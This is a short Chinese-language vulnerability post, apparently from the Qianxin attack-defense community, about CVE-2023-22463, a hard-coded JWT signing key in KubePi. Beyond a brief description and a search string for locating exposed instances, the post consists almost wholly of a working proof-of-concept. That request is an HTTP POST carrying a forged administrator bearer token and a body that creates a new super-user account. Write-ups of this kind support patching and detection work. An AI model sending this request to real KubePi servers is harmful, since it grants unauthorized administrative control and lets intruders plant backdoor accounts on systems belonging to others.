奇安信攻防社区-KubePi JwtSigKey 登陆绕过漏洞 CVE-2023-22463

KubePi JwtSigKey 登陆绕过漏洞 CVE-2023-22463

# KubePi JwtSigKey 登陆绕过漏洞 CVE-2023-22463 ## 漏洞描述 KubePi 中存在 JWT硬编码，攻击者通过硬编码可以获取服务器后台管理权限，添加任意用户 ## 漏洞影响 KubePi ##...

KubePi JwtSigKey 登陆绕过漏洞 CVE-2023-22463
======================================

漏洞描述
----

KubePi 中存在 JWT硬编码，攻击者通过硬编码可以获取服务器后台管理权限，添加任意用户

漏洞影响
----

KubePi

网络测绘
----

"kubepi"

漏洞复现
----

登陆页面

![img](https://shs3.b.qianxin.com/butian_public/f316973c64e6adda741826df4ec0b448afe7679788d9e.jpg)

验证POC

```http
POST /kubepi/api/v1/users HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.127 Safari/537.36
accept: application/json
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJuaWNrTmFtZSI6IkFkbWluaXN0cmF0b3IiLCJlbWFpbCI6InN1cHBvcnRAZml0MmNsb3VkLmNvbSIsImxhbmd1YWdlIjoiemgtQ04iLCJyZXNvdXJjZVBlcm1pc3Npb25zIjp7fSwiaXNBZG1pbmlzdHJhdG9yIjp0cnVlLCJtZmEiOnsiZW5hYmxlIjpmYWxzZSwic2VjcmV0IjoiIiwiYXBwcm92ZWQiOmZhbHNlfX0.XxQmyfq_7jyeYvrjqsOZ4BB4GoSkfLO2NvbKCEQjld8

{
  "authenticate": {
       "password": "{{randstr}}"
  },
  "email": "{{randstr}}@qq.com",
  "isAdmin": true,
  "mfa": {
          "enable": false
   },
  "name": "{{randstr}}",
  "nickName": "{{randstr}}",
  "roles": [
       "Supper User"
  ]
}
```

![image-20230813162451716](https://shs3.b.qianxin.com/butian_public/f357113aa3d36d5fb3abb86de36206c0bb1bdef603e92.jpg)

发表于 2024-07-12 18:46:17
阅读 ( 650 )
分类：Web应用

KubePi JwtSigKey 登陆绕过漏洞 CVE-2023-22463

0 条评论